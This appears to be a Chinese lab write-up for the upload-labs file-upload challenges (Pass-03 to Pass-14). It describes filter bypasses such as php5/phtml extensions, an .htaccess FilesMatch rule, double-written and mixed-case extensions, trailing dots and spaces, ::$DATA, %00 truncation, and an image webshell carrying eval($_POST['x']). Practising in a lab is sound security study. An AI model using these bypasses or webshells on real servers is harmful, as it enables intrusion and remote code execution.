文件上传
Pass-03(黑名单绕过)
trim函数 如果有空格,就把空格删除
这道题黑名单中有php,将文件后缀改为php5或phtml即可绕过
Pass-04(黑名单绕过 .htaccess攻击)。。。
上传.htaccess文件
1 | <FilesMatch "shana"> |
文件名包含shana的会被当做php执行
可以把php文件命名为jpg文件,绕过黑名单,在网页访问该文件时,该文件会以php执行
Pass-05(黑名单绕过 后缀双写逻辑绕过)
查看源码,黑名单有大小写,但是没有所有的大小写组合,并且后缀名会转为小写,用双写绕过
后缀名改为.phpphp,上传成功
Pass-06(黑名单绕过 大小写文件名混淆)
查看源码,黑名单有大小写,但是没有所有的大小写组合,并且后缀名不会统一转为小写,将文件后缀改成PHp(黑名单中没有),上传成功
Pass-07(黑名单绕过 空格绕过)。。。
查看源码,发现跟之前源码相比,少了首位去空,抓包,在文件名最后加个空格,再forward,就上传成功
Pass-08(黑名单绕过 填点绕过)。。。
查看源码,发现没有删除文件名末尾的点,抓包,在后面加个.,绕过
Pass-09(黑名单绕过 Win文件流特性绕过)
查看源码,没有去除字符串::$DATA,抓包,在最后加上::$DATA,上传成功
Pass-10(黑名单绕过 点空格点代码逻辑绕过)。。。
抓包,将文件名后缀改为.php. .
首先去除空格,删除最后一个.
然后后缀名为.php.,绕过过滤,上传成功
Pass-11(黑名单绕过 双写绕过)
有一次过滤,将后缀名改为.pphphp,过滤完后缀名为.php,上传成功
Pass-12(白名单绕过 00截断GET型绕过)
这段代码是防止多个点绕过
1 | $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); |
白名单加防止多点绕过,需要用到%00截断,%00是在地址方面,0x00截断是在文件命名方面
例如文件名为1.php
只能上传.jpg后缀文件,代码将文件命名为 1.php.19283018.jpg,使其为一个jpg文件
如果加上%00截断,1.php%00.19283018.jpg,%00之后的就没有了,为1.php
抓包,在第一行的参数save_path=../upload/改为save_path=../upload/1.php%00,php版本换为5.2
第21天 1:32:03
Pass-13(白名单绕过 00截断POST型绕过)
跟Pass-12类似,抓包,找到../upload的位置,写成../upload/xx.php%00
但是这个%00需要编码,选中%00,右键
Pass-14(图片马+文件包含绕过)。。。
在图片中写入后门代码
php后门代码,将这个代码附加在图片后面
1 | eval($_POST['x']); @ |
在cmd中运行copy 1.png /b + a.php /a webshell.jpg,得到webshell.jpg,可以看到图像最后加上了这一行php代码
获取上传的图片地址,右键图片,复制图像链接
http://192.168.182.1/upload/upload/8920230926111805.png
点击题目中给的文件包含漏洞链接,加上参数,进行访问
再用post传参,x=phpinfo();,可以执行php代码
文件上传之后端黑白名单绕过
黑名单:明确不让上传的格式后缀
白名单:明确可以上传的格式后缀
如果黑名单中有PHP,可以用PHP5或Phtml来绕过限制
enctype:文件上传的类型
method:上传方式
onsubmit:鼠标触发事件
看下面的代码,PHP中接受文件的参数名要与HTML表单中的一致,以name的值发送过去,name的值是upload_file,所以上面也是upload_file
1 | $_FILES['myFile']['name'] 客户端文件的原名称。 |
1 | <?php |
.htaccess,用apach才行
.htaccess是apach的一个配置文件,将.htaccess文件上传成功后,其余文件会依照.htaccess的执行
.htaccess示例
将这个文件上传成功后,再上传文件名中包含shana的文件,就会被当作x-httpd-php来执行
注意shana文件要和上传的.htaccess文件在同一目录
1 | <FilesMatch "shana"> |
有的代码是一次过滤,有的是循环过滤
比如说,a.phphp,一次过滤之后为a.php
循环过滤(递归过滤) 过滤后为a.